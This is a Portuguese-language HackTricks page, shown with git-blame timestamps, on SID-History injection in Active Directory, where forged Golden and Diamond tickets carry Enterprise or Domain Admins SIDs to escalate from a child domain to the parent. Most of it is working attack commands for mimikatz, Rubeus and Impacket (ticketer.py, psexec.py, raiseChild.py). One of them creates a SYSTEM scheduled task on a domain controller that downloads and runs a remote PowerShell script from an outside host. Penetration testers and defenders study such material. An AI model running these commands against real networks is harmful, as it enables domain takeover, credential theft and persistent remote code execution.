hacktricks/windows-hardening/active-directory-methodology/sid-history-injection.md

163 lines
8.9 KiB
Markdown
Raw Normal View History

# Injeção de SID-History
2022-08-15 21:10:48 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-08-15 21:10:48 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-08-15 21:10:48 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Ataque
2022-09-04 09:37:14 +00:00
O SID History foi projetado para suportar cenários de migração, onde um usuário seria movido de um domínio para outro. Para preservar o acesso aos recursos no "antigo" domínio, o **SID anterior do usuário seria adicionado ao SID History** de sua nova conta. Portanto, ao criar esse tíquete, o SID de um grupo privilegiado (EAs, DAs, etc) no domínio pai pode ser adicionado, o que **concederá acesso a todos os recursos no domínio pai**.
2022-08-15 21:10:48 +00:00
2023-06-06 18:56:34 +00:00
Isso pode ser alcançado usando um [**Golden Ticket**](sid-history-injection.md#golden-ticket) ou [**Diamond Ticket**](sid-history-injection.md#diamond-ticket).
2022-08-15 21:10:48 +00:00
Para encontrar o **SID** do grupo **"Enterprise Admins"**, você pode encontrar o **SID** do **domínio raiz** e defini-lo como `S-1-5-21-<domínio raiz>-519`. Por exemplo, a partir do SID do domínio raiz `S-1-5-21-280534878-1496970234-700767426`, o SID do grupo **"Enterprise Admins"** é `S-1-5-21-280534878-1496970234-700767426-519`.
2022-09-04 09:37:14 +00:00
2023-06-06 18:56:34 +00:00
Você também pode usar os grupos **Domain Admins**, que terminam em **512**.
2022-08-15 21:10:48 +00:00
2023-06-06 18:56:34 +00:00
Outra maneira de encontrar o SID de um grupo do outro domínio (por exemplo, "Domain Admins") é com:
2022-08-15 21:10:48 +00:00
```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
### Bilhete Dourado (Mimikatz) com KRBTGT-AES256
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-09-04 09:37:14 +00:00
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
2022-10-06 09:16:41 +00:00
/user is the username to impersonate (could be anything)
2022-09-04 09:37:14 +00:00
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
2022-10-06 09:16:41 +00:00
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
2022-09-04 09:37:14 +00:00
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
2022-08-15 21:10:48 +00:00
```
{% endcode %}
Para mais informações sobre golden tickets, consulte:
{% content-ref url="golden-ticket.md" %}
[golden-ticket.md](golden-ticket.md)
{% endcontent-ref %}
### Diamond Ticket (Rubeus + KRBTGT-AES256)
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
2022-10-06 09:16:41 +00:00
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
2022-08-15 21:10:48 +00:00
```
2022-10-06 09:16:41 +00:00
{% endcode %}
2022-08-15 21:10:48 +00:00
Para mais informações sobre bilhetes diamond, consulte:
2022-08-15 21:10:48 +00:00
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
{% endcontent-ref %}
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```bash
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
2022-08-15 21:10:48 +00:00
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
Eleve-se para DA ou administrador raiz usando o hash KRBTGT do domínio comprometido:
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
2022-10-06 09:16:41 +00:00
{% endcode %}
Com as permissões adquiridas no ataque, você pode executar, por exemplo, um ataque DCSync no novo domínio:
2022-10-06 09:16:41 +00:00
{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}
### Do Linux
2022-10-06 09:16:41 +00:00
2023-06-06 18:56:34 +00:00
#### Manual com [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
export KRB5CCNAME=hacker.ccache
2022-10-06 09:16:41 +00:00
# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
{% endcode %}
2023-06-06 18:56:34 +00:00
#### Automático usando [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
2022-10-06 09:16:41 +00:00
Este é um script Impacket que irá **automatizar a escalada do domínio filho para o domínio pai**. O script precisa de:
2022-10-06 09:16:41 +00:00
2023-06-06 18:56:34 +00:00
* Controlador de domínio de destino
* Credenciais para um usuário administrador no domínio filho
2022-10-06 09:16:41 +00:00
2023-06-06 18:56:34 +00:00
O fluxo é:
2022-10-06 09:16:41 +00:00
2023-06-06 18:56:34 +00:00
* Obtém o SID do grupo Enterprise Admins do domínio pai
* Recupera o hash para a conta KRBTGT no domínio filho
* Cria um Golden Ticket
* Faz login no domínio pai
* Recupera credenciais para a conta Administrador no domínio pai
* Se o switch `target-exec` for especificado, ele se autentica no Controlador de Domínio do domínio pai via Psexec.
2022-10-06 09:16:41 +00:00
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
2023-06-06 18:56:34 +00:00
## Referências
2022-08-15 21:10:48 +00:00
2022-10-04 14:21:27 +00:00
* [https://studylib.net/doc/25696115/crto](https://studylib.net/doc/25696115/crto)
2022-08-15 21:10:48 +00:00
2022-10-04 14:21:27 +00:00
<details>
2022-08-15 21:10:48 +00:00
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-08-15 21:10:48 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-08-15 21:10:48 +00:00
</details>